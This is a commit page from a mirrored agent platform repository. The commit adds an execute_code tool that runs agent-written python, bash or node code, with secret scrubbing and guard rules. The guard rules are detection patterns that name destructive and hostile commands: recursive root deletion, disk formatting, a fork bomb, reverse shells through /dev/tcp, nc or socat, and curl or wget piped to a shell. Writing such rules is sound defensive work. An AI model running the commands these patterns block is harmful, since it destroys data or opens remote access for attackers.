mirror of
https://gitee.com/mateos/mateclaw.git
synced 2026-09-13 03:13:41 +08:00
feat(tool): add execute_code for running agent-authored code (#257)
Add an execute_code built-in tool that runs python/bash/node code the agent writes on the fly, so a documentation-only skill (a SKILL.md with no bundled scripts) can be acted on. Scoped runs inject the skill's secrets and run in the skill directory; otherwise a private scratch directory is used. Host secret env vars are scrubbed from the subprocess. execute_code is an agent-wide capability, registered in the tool catalog (V143), and screened by the tool guard with a dedicated set of destructive-pattern rules. Tests cover python/bash/node execution, scratch-dir fallback, env scrubbing, argument decoding, and guard gating.
This commit is contained in:
parent
b95ee90c64
commit
94cf812207
@ -744,6 +744,11 @@ public class AgentBindingService implements AgentBindingResolver {
|
||||
"write_file",
|
||||
"edit_file",
|
||||
"execute_shell_command",
|
||||
// Inline code execution — an agent-wide capability alongside shell.
|
||||
// Lets any agent act on a documentation-only skill (a SKILL.md with
|
||||
// no scripts) by writing and running the code its instructions
|
||||
// describe. Dangerous code is screened by the same tool guard.
|
||||
"execute_code",
|
||||
"detect_file_type",
|
||||
"extract_document_text",
|
||||
"extract_pdf_text",
|
||||
|
||||
@ -495,7 +495,10 @@ public class SkillRuntimeService {
|
||||
sb.append("To read a skill's reference or script files, use ");
|
||||
sb.append("`readSkillFile(skillName=<name>, filePath=\"references/...\")`. ");
|
||||
sb.append("Skills with a `scripts/` directory expose `runSkillScript`; ");
|
||||
sb.append("SKILL.md will name the script when needed.\n\n");
|
||||
sb.append("SKILL.md will name the script when needed. ");
|
||||
sb.append("If a skill describes steps but ships no runnable script, write the code ");
|
||||
sb.append("its instructions describe and run it with ");
|
||||
sb.append("`execute_code(language=<python|bash|node>, code=..., skillName=<name>)`.\n\n");
|
||||
sb.append("| Skill | Status | Description |\n");
|
||||
sb.append("|-------|--------|-------------|\n");
|
||||
for (ResolvedSkill skill : selected) {
|
||||
|
||||
@ -28,10 +28,22 @@ import java.util.concurrent.TimeUnit;
|
||||
public class SkillScriptExecutionService {
|
||||
|
||||
private static final long DEFAULT_TIMEOUT_SECONDS = 30;
|
||||
private static final long MAX_TIMEOUT_SECONDS = 300;
|
||||
private static final int MAX_OUTPUT_BYTES = 50_000;
|
||||
private static final boolean IS_WINDOWS = System.getProperty("os.name", "")
|
||||
.toLowerCase(Locale.ROOT).contains("win");
|
||||
|
||||
/** Supported inline-code languages mapped to the temp-file extension. */
|
||||
private static final Map<String, String> LANGUAGE_EXTENSIONS = Map.of(
|
||||
"python", ".py",
|
||||
"py", ".py",
|
||||
"bash", ".sh",
|
||||
"sh", ".sh",
|
||||
"shell", ".sh",
|
||||
"node", ".js",
|
||||
"javascript", ".js",
|
||||
"js", ".js");
|
||||
|
||||
/**
|
||||
* 执行脚本(兼容签名 — 不注入额外 env vars)
|
||||
*
|
||||
@ -56,6 +68,85 @@ public class SkillScriptExecutionService {
|
||||
* @return 执行结果
|
||||
*/
|
||||
public ScriptResult execute(Path scriptPath, List<String> args, Map<String, String> envVars) {
|
||||
return executeResolved(scriptPath, args, envVars, DEFAULT_TIMEOUT_SECONDS, false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute LLM-generated source code inline, without a pre-existing script file.
|
||||
* <p>
|
||||
* Materializes {@code code} into a temporary file (extension chosen from
|
||||
* {@code language}) inside {@code workingDir}, runs it through the same
|
||||
* interpreter-selection + timeout + output-capping + env-injection path as
|
||||
* {@link #execute(Path, List, Map)}, then deletes the temp file.
|
||||
*
|
||||
* <p>This is what makes a documentation-only skill (a SKILL.md with no
|
||||
* {@code scripts:} entries) runnable: the agent reads the instructions,
|
||||
* generates code, and runs it here.
|
||||
*
|
||||
* @param language one of python / bash / node (and aliases); selects the interpreter
|
||||
* @param code the source code to run; must be non-blank
|
||||
* @param workingDir directory the temp file is written to and the process cwd. When {@code null}
|
||||
* a private temp scratch directory is created and removed afterward; when
|
||||
* non-null it must be an existing directory (e.g. a skill or workspace dir)
|
||||
* @param args optional positional arguments passed to the program
|
||||
* @param envVars optional env vars injected into the subprocess (e.g. decrypted skill secrets)
|
||||
* @param timeoutSeconds optional timeout override; clamped to (0, {@value #MAX_TIMEOUT_SECONDS}], defaults to {@value #DEFAULT_TIMEOUT_SECONDS}
|
||||
* @return execution result
|
||||
*/
|
||||
public ScriptResult executeCode(String language, String code, Path workingDir,
|
||||
List<String> args, Map<String, String> envVars, Long timeoutSeconds) {
|
||||
if (code == null || code.isBlank()) {
|
||||
return ScriptResult.error(-1, "No code supplied");
|
||||
}
|
||||
String ext = language == null ? null
|
||||
: LANGUAGE_EXTENSIONS.get(language.trim().toLowerCase(Locale.ROOT));
|
||||
if (ext == null) {
|
||||
return ScriptResult.error(-1, "Unsupported language: " + language
|
||||
+ ". Supported: python, bash, node");
|
||||
}
|
||||
if (workingDir != null && !Files.isDirectory(workingDir)) {
|
||||
return ScriptResult.error(-1, "Working directory does not exist: " + workingDir);
|
||||
}
|
||||
|
||||
long timeout = DEFAULT_TIMEOUT_SECONDS;
|
||||
if (timeoutSeconds != null && timeoutSeconds > 0) {
|
||||
timeout = Math.min(timeoutSeconds, MAX_TIMEOUT_SECONDS);
|
||||
}
|
||||
|
||||
// No caller-supplied directory (e.g. an agent with no workspace base path):
|
||||
// run in a private scratch directory and remove it afterward. Mirrors the
|
||||
// shell tool tolerating a null working directory rather than failing.
|
||||
Path scratchDir = null;
|
||||
Path codeFile = null;
|
||||
try {
|
||||
Path dir = workingDir;
|
||||
if (dir == null) {
|
||||
scratchDir = Files.createTempDirectory("mc_code_ws_");
|
||||
dir = scratchDir;
|
||||
}
|
||||
// Write the code into the working dir so the process cwd matches the
|
||||
// file location — relative paths in the generated code resolve as the
|
||||
// author expects, and skill-scoped runs stay inside the skill dir.
|
||||
codeFile = Files.createTempFile(dir, "mc_code_", ext);
|
||||
Files.writeString(codeFile, code, StandardCharsets.UTF_8);
|
||||
if (!IS_WINDOWS && ext.equals(".sh")) {
|
||||
codeFile.toFile().setExecutable(true);
|
||||
}
|
||||
// Scrub sensitive host env vars: the code is LLM-authored, so it must
|
||||
// not inherit the server's API keys / tokens. Skill secrets, when
|
||||
// supplied via envVars, are re-added on top.
|
||||
return executeResolved(codeFile, args, envVars, timeout, true);
|
||||
} catch (IOException e) {
|
||||
log.error("Failed to materialize inline code: {}", e.getMessage());
|
||||
return ScriptResult.error(-1, "Failed to write code file: " + e.getMessage());
|
||||
} finally {
|
||||
deleteQuietly(codeFile);
|
||||
deleteDirQuietly(scratchDir);
|
||||
}
|
||||
}
|
||||
|
||||
private ScriptResult executeResolved(Path scriptPath, List<String> args, Map<String, String> envVars,
|
||||
long timeoutSeconds, boolean scrubSensitiveEnv) {
|
||||
if (!Files.exists(scriptPath) || !Files.isRegularFile(scriptPath)) {
|
||||
return ScriptResult.error(-1, "Script not found: " + scriptPath);
|
||||
}
|
||||
@ -113,7 +204,15 @@ public class SkillScriptExecutionService {
|
||||
pb.directory(scriptPath.getParent().toFile());
|
||||
pb.redirectOutput(stdoutFile.toFile());
|
||||
pb.redirectError(stderrFile.toFile());
|
||||
// RFC-091: inject per-skill secrets / settings as env vars.
|
||||
// Strip secrets from the inherited environment before injecting the
|
||||
// caller's own env. Used for LLM-authored inline code so it never
|
||||
// sees the server's API keys / tokens via process inheritance.
|
||||
if (scrubSensitiveEnv) {
|
||||
pb.environment().keySet().removeIf(key ->
|
||||
key.contains("KEY") || key.contains("SECRET") || key.contains("TOKEN")
|
||||
|| key.contains("PASSWORD") || key.contains("CREDENTIAL"));
|
||||
}
|
||||
// Inject per-skill secrets / settings as env vars.
|
||||
// pb.environment() inherits the parent process env; putAll
|
||||
// OVERRIDES same-named entries with the supplied values.
|
||||
// Null / blank values are skipped to avoid clearing
|
||||
@ -129,12 +228,12 @@ public class SkillScriptExecutionService {
|
||||
|
||||
Process process = pb.start();
|
||||
|
||||
boolean finished = process.waitFor(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
|
||||
boolean finished = process.waitFor(timeoutSeconds, TimeUnit.SECONDS);
|
||||
if (!finished) {
|
||||
killProcess(process);
|
||||
String stdout = readFileTruncated(stdoutFile, MAX_OUTPUT_BYTES);
|
||||
String stderr = readFileTruncated(stderrFile, MAX_OUTPUT_BYTES);
|
||||
String timeoutMsg = "[timeout after " + DEFAULT_TIMEOUT_SECONDS + "s]";
|
||||
String timeoutMsg = "[timeout after " + timeoutSeconds + "s]";
|
||||
stderr = stderr.isEmpty() ? timeoutMsg : stderr + "\n" + timeoutMsg;
|
||||
return new ScriptResult(-1, stdout, stderr);
|
||||
}
|
||||
@ -199,6 +298,16 @@ public class SkillScriptExecutionService {
|
||||
}
|
||||
}
|
||||
|
||||
/** Recursively remove a scratch directory created for an inline-code run. */
|
||||
private static void deleteDirQuietly(Path dir) {
|
||||
if (dir == null) return;
|
||||
try (var paths = Files.walk(dir)) {
|
||||
paths.sorted(java.util.Comparator.reverseOrder()).forEach(p -> {
|
||||
try { Files.deleteIfExists(p); } catch (IOException ignored) {}
|
||||
});
|
||||
} catch (IOException ignored) {}
|
||||
}
|
||||
|
||||
@lombok.Data
|
||||
@lombok.AllArgsConstructor
|
||||
public static class ScriptResult {
|
||||
|
||||
@ -0,0 +1,222 @@
|
||||
package vip.mate.tool.builtin;
|
||||
|
||||
import com.fasterxml.jackson.annotation.JsonProperty;
|
||||
import com.fasterxml.jackson.annotation.JsonPropertyDescription;
|
||||
import com.fasterxml.jackson.databind.DeserializationFeature;
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import lombok.RequiredArgsConstructor;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.ai.chat.model.ToolContext;
|
||||
import org.springframework.ai.tool.annotation.Tool;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.context.annotation.Lazy;
|
||||
import org.springframework.lang.Nullable;
|
||||
import org.springframework.stereotype.Component;
|
||||
import vip.mate.agent.context.ChatOrigin;
|
||||
import vip.mate.llm.routing.AgentBindingResolver;
|
||||
import vip.mate.skill.runtime.SkillRuntimeService;
|
||||
import vip.mate.skill.runtime.SkillScriptExecutionService;
|
||||
import vip.mate.skill.runtime.model.ResolvedSkill;
|
||||
import vip.mate.skill.secret.SkillSecretService;
|
||||
import vip.mate.tool.guard.WorkspacePathGuard;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Built-in tool: execute LLM-generated source code inline.
|
||||
* <p>
|
||||
* Unlike {@code runSkillScript}, which runs a pre-existing file under a skill's
|
||||
* {@code scripts/} directory, this tool accepts the code as text and runs it on
|
||||
* the fly. It lets a documentation-only skill (a SKILL.md with no {@code scripts:}
|
||||
* entries) be acted on: the agent reads the instructions, writes the code those
|
||||
* instructions describe, and runs it here.
|
||||
*
|
||||
* <p>Safety:
|
||||
* <ul>
|
||||
* <li>Dangerous patterns in the code trigger ToolGuard approval/blocking — the
|
||||
* tool name is registered as a shell-equivalent guarded tool.</li>
|
||||
* <li>The subprocess does not inherit the server's secret env vars; only a
|
||||
* bound skill's own declared secrets are injected.</li>
|
||||
* <li>When {@code skillName} is given, the calling agent must be bound to that
|
||||
* skill, and execution is scoped to the skill directory.</li>
|
||||
* <li>Timeout defaults to 30s, hard-capped at 300s; output is truncated.</li>
|
||||
* </ul>
|
||||
*/
|
||||
@Slf4j
|
||||
@Component
|
||||
@RequiredArgsConstructor
|
||||
public class CodeExecuteTool {
|
||||
|
||||
private final SkillRuntimeService runtimeService;
|
||||
private final SkillScriptExecutionService executionService;
|
||||
private final SkillSecretService skillSecretService;
|
||||
private final ObjectMapper objectMapper;
|
||||
|
||||
@Lazy
|
||||
@Autowired
|
||||
private AgentBindingResolver agentBindingResolver;
|
||||
|
||||
@vip.mate.tool.ConcurrencyUnsafe("code execution can have arbitrary side effects on the host process and filesystem")
|
||||
@Tool(name = "execute_code", description = """
|
||||
Execute a snippet of code you write, in python, bash, or node.
|
||||
Use this to act on a skill whose SKILL.md describes steps but ships no runnable script:
|
||||
read the instructions, write the code they describe, and run it here.
|
||||
|
||||
Parameters:
|
||||
- language: one of "python", "bash", "node"
|
||||
- code: the full source code to run
|
||||
- skillName: optional. When set, the code runs inside that skill's directory
|
||||
(so it can read the skill's reference/template files by relative path)
|
||||
and the skill's stored secrets are injected as environment variables.
|
||||
- args: optional positional arguments, given as ONE JSON-encoded string:
|
||||
a JSON array for multiple args, or plain text for a single argument.
|
||||
- timeoutSeconds: optional, default 30, max 300.
|
||||
|
||||
Returns: JSON with exitCode, stdout, stderr.
|
||||
|
||||
Security: dangerous operations trigger security approval. The server's own
|
||||
secret environment variables are not exposed to the code.
|
||||
""")
|
||||
public String execute_code(
|
||||
@JsonProperty(required = true)
|
||||
@JsonPropertyDescription("Language: python, bash, or node")
|
||||
String language,
|
||||
|
||||
@JsonProperty(required = true)
|
||||
@JsonPropertyDescription("The full source code to run")
|
||||
String code,
|
||||
|
||||
@JsonProperty(required = false)
|
||||
@JsonPropertyDescription("Optional skill name to scope execution to and inject secrets from")
|
||||
String skillName,
|
||||
|
||||
@JsonProperty(required = false)
|
||||
@JsonPropertyDescription("Optional positional arguments as ONE JSON-encoded string: a JSON array for multiple args, or plain text for one literal argument.")
|
||||
String args,
|
||||
|
||||
@JsonProperty(required = false)
|
||||
@JsonPropertyDescription("Timeout in seconds, default 30, max 300")
|
||||
Integer timeoutSeconds,
|
||||
|
||||
@Nullable ToolContext ctx
|
||||
) {
|
||||
log.info("[CodeExecute] language={}, skill={}, codeChars={}",
|
||||
language, skillName, code == null ? 0 : code.length());
|
||||
|
||||
Path workingDir;
|
||||
Map<String, String> envVars = Collections.emptyMap();
|
||||
|
||||
if (skillName != null && !skillName.isBlank()) {
|
||||
// Skill-scoped run: validate binding + resolve the skill directory.
|
||||
ResolvedSkill skill = runtimeService.findActiveSkill(skillName);
|
||||
if (skill == null) {
|
||||
return formatError("Skill '" + skillName + "' not found or not enabled");
|
||||
}
|
||||
Long agentId = ChatOrigin.from(ctx).agentId();
|
||||
if (agentId != null) {
|
||||
Set<Long> boundSkillIds = agentBindingResolver.getBoundSkillIds(agentId);
|
||||
if (boundSkillIds != null && (skill.getId() == null || !boundSkillIds.contains(skill.getId()))) {
|
||||
return formatError("Skill '" + skillName + "' is not available for this agent.");
|
||||
}
|
||||
}
|
||||
// Directory-backed skills run inside their own directory so the code
|
||||
// can read the skill's reference/template files by relative path. A
|
||||
// database-backed skill (no directory) is still runnable: fall through
|
||||
// with a null working dir so executeCode uses a private scratch dir.
|
||||
// Either way the skill's stored secrets are injected.
|
||||
workingDir = skill.getSkillDir();
|
||||
if (skill.getId() != null) {
|
||||
envVars = skillSecretService.getDecrypted(skill.getId());
|
||||
}
|
||||
} else {
|
||||
// Workspace-scoped run: prefer the agent's workspace base path so any
|
||||
// files the code produces land where the user expects. When the agent
|
||||
// has no workspace dir, pass null — executeCode then runs in a private
|
||||
// temp scratch dir (same tolerance as the shell tool).
|
||||
workingDir = WorkspacePathGuard.getWorkingDirectory(ctx);
|
||||
if (workingDir != null && !Files.isDirectory(workingDir)) {
|
||||
workingDir = null;
|
||||
}
|
||||
}
|
||||
|
||||
Long timeout = timeoutSeconds != null ? timeoutSeconds.longValue() : null;
|
||||
List<String> argList = normalizeArgs(args);
|
||||
|
||||
try {
|
||||
SkillScriptExecutionService.ScriptResult result =
|
||||
executionService.executeCode(language, code, workingDir, argList, envVars, timeout);
|
||||
return formatResult(result);
|
||||
} catch (Exception e) {
|
||||
log.error("[CodeExecute] Execution failed: {}", e.getMessage());
|
||||
return formatError("Execution failed: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode the JSON-encoded {@code args} string into a positional argument list,
|
||||
* mirroring {@code SkillScriptTool.normalizeArgs}: a JSON array becomes one
|
||||
* argument per element, anything else is forwarded verbatim as a single
|
||||
* argument (so a bare date / version string is never mangled by JSON parsing).
|
||||
*/
|
||||
List<String> normalizeArgs(String args) {
|
||||
if (args == null) {
|
||||
return null;
|
||||
}
|
||||
String trimmed = args.trim();
|
||||
if (trimmed.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
char lead = trimmed.charAt(0);
|
||||
if (lead == '[') {
|
||||
try {
|
||||
JsonNode node = objectMapper.reader()
|
||||
.with(DeserializationFeature.FAIL_ON_TRAILING_TOKENS)
|
||||
.readTree(trimmed);
|
||||
if (node != null && node.isArray()) {
|
||||
List<String> out = new ArrayList<>(node.size());
|
||||
for (JsonNode el : node) {
|
||||
out.add(el.isTextual() ? el.asText() : el.toString());
|
||||
}
|
||||
return out.isEmpty() ? null : out;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
log.debug("execute_code: args not valid JSON array, forwarding verbatim: {}", e.getMessage());
|
||||
}
|
||||
}
|
||||
return List.of(trimmed);
|
||||
}
|
||||
|
||||
private String formatResult(SkillScriptExecutionService.ScriptResult result) {
|
||||
return String.format(
|
||||
"{\n \"exitCode\": %d,\n \"stdout\": %s,\n \"stderr\": %s\n}",
|
||||
result.getExitCode(),
|
||||
jsonEscape(result.getStdout()),
|
||||
jsonEscape(result.getStderr())
|
||||
);
|
||||
}
|
||||
|
||||
private String formatError(String message) {
|
||||
return String.format(
|
||||
"{\n \"exitCode\": -1,\n \"stdout\": \"\",\n \"stderr\": %s\n}",
|
||||
jsonEscape(message)
|
||||
);
|
||||
}
|
||||
|
||||
private String jsonEscape(String str) {
|
||||
if (str == null || str.isEmpty()) {
|
||||
return "\"\"";
|
||||
}
|
||||
return "\"" + str.replace("\\", "\\\\")
|
||||
.replace("\"", "\\\"")
|
||||
.replace("\n", "\\n")
|
||||
.replace("\r", "\\r")
|
||||
.replace("\t", "\\t") + "\"";
|
||||
}
|
||||
}
|
||||
@ -27,7 +27,8 @@ public class DefaultToolGuard implements ToolGuard {
|
||||
private static final Set<String> SHELL_TOOL_NAMES = Set.of(
|
||||
"execute_shell_command",
|
||||
"shell_execute",
|
||||
"run_command"
|
||||
"run_command",
|
||||
"execute_code"
|
||||
);
|
||||
|
||||
/** 文件写入类工具 —— 默认需要用户审批 */
|
||||
|
||||
@ -24,7 +24,11 @@ import java.util.regex.Pattern;
|
||||
public class ShellCommandGuardian implements ToolGuardGuardian {
|
||||
|
||||
private static final Set<String> SHELL_TOOL_NAMES = Set.of(
|
||||
"execute_shell_command", "shell_execute", "run_command"
|
||||
"execute_shell_command", "shell_execute", "run_command",
|
||||
// Inline code execution runs LLM-authored source through an
|
||||
// interpreter, so it is screened against the same dangerous-command
|
||||
// ruleset as direct shell execution.
|
||||
"execute_code"
|
||||
);
|
||||
|
||||
private static final Map<String, Pattern> COMPILED_CACHE = new ConcurrentHashMap<>();
|
||||
|
||||
@ -344,6 +344,49 @@ public class ToolGuardRuleSeedService implements ApplicationRunner {
|
||||
GuardSeverity.HIGH, GuardCategory.CREDENTIAL_EXPOSURE, "NEEDS_APPROVAL",
|
||||
null, gf("CRED_GITHUB_TOKEN"), 140));
|
||||
|
||||
// === Inline code execution (execute_code) ===
|
||||
// DbRuleGuardian only matches rules whose toolName equals the invoked
|
||||
// tool (or is global). The destructive shell rules above are scoped to
|
||||
// execute_shell_command, so they would never screen code run through
|
||||
// execute_code. Mirror the key patterns for execute_code here, reusing
|
||||
// the shell rules' i18n strings (gn/gf keyed by the SHELL_* ids).
|
||||
rules.add(rule("CODE_RM_RF_ROOT", gn("SHELL_RM_RF_ROOT"), "rm\\s+-(rf|fr)\\s+/\\s*$",
|
||||
GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK",
|
||||
"execute_code", gf("SHELL_RM_RF_ROOT"), 200));
|
||||
rules.add(rule("CODE_MKFS", gn("SHELL_MKFS"), "mkfs\\b",
|
||||
GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK",
|
||||
"execute_code", gf("SHELL_MKFS"), 200));
|
||||
rules.add(rule("CODE_DD_DEV", gn("SHELL_DD_DEV"), "dd\\s+if=.+of=/dev/",
|
||||
GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK",
|
||||
"execute_code", gf("SHELL_DD_DEV"), 200));
|
||||
rules.add(rule("CODE_FORK_BOMB", gn("SHELL_FORK_BOMB"), ":\\(\\)\\s*\\{\\s*:\\|:\\s*&\\s*\\}\\s*;\\s*:",
|
||||
GuardSeverity.CRITICAL, GuardCategory.RESOURCE_ABUSE, "BLOCK",
|
||||
"execute_code", gf("SHELL_FORK_BOMB"), 200));
|
||||
rules.add(rule("CODE_REVERSE_SHELL", gn("SHELL_REVERSE_SHELL"), "(/dev/tcp|\\bnc\\s+-e\\b|\\bncat\\s+-e\\b|\\bsocat\\s+EXEC:)",
|
||||
GuardSeverity.CRITICAL, GuardCategory.NETWORK_ABUSE, "BLOCK",
|
||||
"execute_code", gf("SHELL_REVERSE_SHELL"), 200));
|
||||
rules.add(rule("CODE_CURL_PIPE_SH", gn("SHELL_CURL_PIPE_SH"), "curl.*\\|\\s*(sh|bash|zsh)",
|
||||
GuardSeverity.CRITICAL, GuardCategory.CODE_EXECUTION, "BLOCK",
|
||||
"execute_code", gf("SHELL_CURL_PIPE_SH"), 200));
|
||||
rules.add(rule("CODE_WGET_PIPE_SH", gn("SHELL_WGET_PIPE_SH"), "wget.*\\|\\s*(sh|bash|zsh)",
|
||||
GuardSeverity.CRITICAL, GuardCategory.CODE_EXECUTION, "BLOCK",
|
||||
"execute_code", gf("SHELL_WGET_PIPE_SH"), 200));
|
||||
rules.add(rule("CODE_KILL_INIT", gn("SHELL_KILL_INIT"), "\\bkill\\s+-9\\s+1\\b",
|
||||
GuardSeverity.CRITICAL, GuardCategory.RESOURCE_ABUSE, "BLOCK",
|
||||
"execute_code", gf("SHELL_KILL_INIT"), 200));
|
||||
rules.add(rule("CODE_RM", gn("SHELL_RM"), "(^|[;&|]|\\s)rm\\s",
|
||||
GuardSeverity.HIGH, GuardCategory.COMMAND_INJECTION, "NEEDS_APPROVAL",
|
||||
"execute_code", gf("SHELL_RM"), 150));
|
||||
rules.add(rule("CODE_RM_RF", gn("SHELL_RM_RF"), "rm\\s+-(rf|fr)",
|
||||
GuardSeverity.HIGH, GuardCategory.COMMAND_INJECTION, "NEEDS_APPROVAL",
|
||||
"execute_code", gf("SHELL_RM_RF"), 150));
|
||||
rules.add(rule("CODE_CHMOD_777", gn("SHELL_CHMOD_777"), "chmod\\s+777",
|
||||
GuardSeverity.HIGH, GuardCategory.PRIVILEGE_ESCALATION, "NEEDS_APPROVAL",
|
||||
"execute_code", gf("SHELL_CHMOD_777"), 150));
|
||||
rules.add(rule("CODE_OBFUSCATED_EXEC", gn("SHELL_OBFUSCATED_EXEC"), "base64\\s+-d.*\\|\\s*(bash|sh)",
|
||||
GuardSeverity.HIGH, GuardCategory.CODE_EXECUTION, "NEEDS_APPROVAL",
|
||||
"execute_code", gf("SHELL_OBFUSCATED_EXEC"), 150));
|
||||
|
||||
return rules;
|
||||
}
|
||||
|
||||
|
||||
@ -527,6 +527,11 @@ MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name,
|
||||
KEY (id)
|
||||
VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0);
|
||||
|
||||
-- Built-in tool: Code Execute (inline python/bash/node the agent writes on the fly)
|
||||
MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted)
|
||||
KEY (id)
|
||||
VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑💻', TRUE, TRUE, NOW(), NOW(), 0);
|
||||
|
||||
-- Example MCP Server: Filesystem (see MateClaw docs mcpServers.filesystem)
|
||||
MERGE INTO mate_mcp_server (
|
||||
id, name, description, transport, url, headers_json, command, args_json, env_json, cwd,
|
||||
@ -1860,7 +1865,7 @@ SELECT
|
||||
1000000001,
|
||||
TRUE,
|
||||
'all',
|
||||
'["execute_shell_command"]',
|
||||
'["execute_shell_command","execute_code"]',
|
||||
'[]',
|
||||
TRUE,
|
||||
'["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]',
|
||||
|
||||
@ -579,6 +579,11 @@ INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name
|
||||
VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0)
|
||||
ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted);
|
||||
|
||||
-- Built-in tool: Code Execute (inline python/bash/node the agent writes on the fly)
|
||||
INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted)
|
||||
VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑💻', TRUE, TRUE, NOW(), NOW(), 0)
|
||||
ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted);
|
||||
|
||||
-- Example MCP Server: Filesystem (see MateClaw docs mcpServers.filesystem)
|
||||
INSERT INTO mate_mcp_server (id, name, description, transport, url, headers_json, command, args_json, env_json, cwd,
|
||||
enabled, connect_timeout_seconds, read_timeout_seconds, last_status, last_error,
|
||||
@ -1904,7 +1909,7 @@ VALUES (
|
||||
1000000001,
|
||||
TRUE,
|
||||
'all',
|
||||
'["execute_shell_command"]',
|
||||
'["execute_shell_command","execute_code"]',
|
||||
'[]',
|
||||
TRUE,
|
||||
'["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]',
|
||||
|
||||
@ -574,6 +574,11 @@ INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name
|
||||
VALUES (1000000022, 'PdfRenderTool', 'PDF 渲染', '将 Markdown 渲染为最终交付形态的 .pdf 并返回一次性下载链接。双 backend 自动切换(优先 LibreOffice,不可用时回落到进程内 OpenPDF + Flying Saucer);通过 YAML frontmatter 控制封面、页眉、页脚。', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0)
|
||||
ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted);
|
||||
|
||||
-- 内置工具:代码执行(运行 Agent 临场编写的 python/bash/node 代码)
|
||||
INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted)
|
||||
VALUES (1000000023, 'CodeExecuteTool', '代码执行', '运行 Agent 临场编写的代码片段(python / bash / node)。让只有 SKILL.md 描述、无脚本的技能也能被执行——Agent 按说明生成并运行代码。危险操作会触发审批确认。', 'builtin', 'codeExecuteTool', '🧑💻', TRUE, TRUE, NOW(), NOW(), 0)
|
||||
ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted);
|
||||
|
||||
-- 示例 MCP Server:Filesystem(参考 MateClaw 文档中的 mcpServers.filesystem)
|
||||
INSERT INTO mate_mcp_server (
|
||||
id, name, description, transport, url, headers_json, command, args_json, env_json, cwd,
|
||||
@ -1901,7 +1906,7 @@ VALUES (
|
||||
1000000001,
|
||||
TRUE,
|
||||
'all',
|
||||
'["execute_shell_command"]',
|
||||
'["execute_shell_command","execute_code"]',
|
||||
'[]',
|
||||
TRUE,
|
||||
'["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]',
|
||||
|
||||
@ -528,6 +528,11 @@ MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name,
|
||||
KEY (id)
|
||||
VALUES (1000000022, 'PdfRenderTool', 'PDF 渲染', '将 Markdown 渲染为最终交付形态的 .pdf 并返回一次性下载链接。双 backend 自动切换(优先 LibreOffice,不可用时回落到进程内 OpenPDF + Flying Saucer);通过 YAML frontmatter 控制封面、页眉、页脚。', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0);
|
||||
|
||||
-- 内置工具:代码执行(运行 Agent 临场编写的 python/bash/node 代码)
|
||||
